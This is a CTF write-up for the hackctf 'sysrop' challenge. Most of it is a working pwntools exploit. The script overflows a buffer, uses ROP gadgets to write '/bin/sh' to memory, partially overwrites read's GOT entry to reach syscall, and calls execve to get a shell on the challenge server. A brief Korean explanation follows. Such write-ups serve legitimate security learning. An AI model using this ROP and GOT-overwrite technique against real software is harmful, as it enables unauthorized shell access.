from pwn import *
#p = process('./sysrop')
p = remote('ctf.j0n9hyun.xyz', 3020)
e = ELF('./sysrop')
context.log_level = "debug"
p_ax_dx_di_si_r = 0x4005Ea
p_dx_di_si_r = 0x4005EB
main = 0x4005F2
p_rdi_r = 0x00000000004006c3
data = 0x0000000000601030
pause()
payload = 'a'* 24
payload += p64(p_dx_di_si_r)
payload += p64(len('/bin/sh\x00'))
payload += p64(0)
payload += p64(data)
payload += p64(e.plt['read'])
payload += p64(main)
p.sendline(payload)
sleep(0.1)
p.send('/bin/sh\x00')
sleep(0.1)
payload = 'a' * 24
payload += p64(p_dx_di_si_r)
payload += p64(1)
payload += p64(0)
payload += p64(e.got['read'])
payload += p64(e.plt['read'])
payload += p64(p_ax_dx_di_si_r)
payload += p64(59)
payload += p64(0)
payload += p64(data)
payload += p64(0)
payload += p64(e.plt['read'])
p.sendline(payload)
p.send('\x5e')
p.interactive()
가젯을 이용하여 적당한 bss주소에다가 /bin/sh\x00을 쓰고, read의 마지막 1바이트를 syscall로 바꾸고
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 이 페이지에서 execve의 rax 값 59를 알아내서 /bin/sh를 실행시키는 익스를 할 수 있다.
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]Unexploitable_2 (0) | 2019.07.18 |
---|---|
[hackctf]Unexploitable (0) | 2019.07.16 |
[hackctf] you are silver (0) | 2019.07.15 |
[hackctf]ROP (0) | 2019.07.15 |
[hackctf] uaf (0) | 2019.07.15 |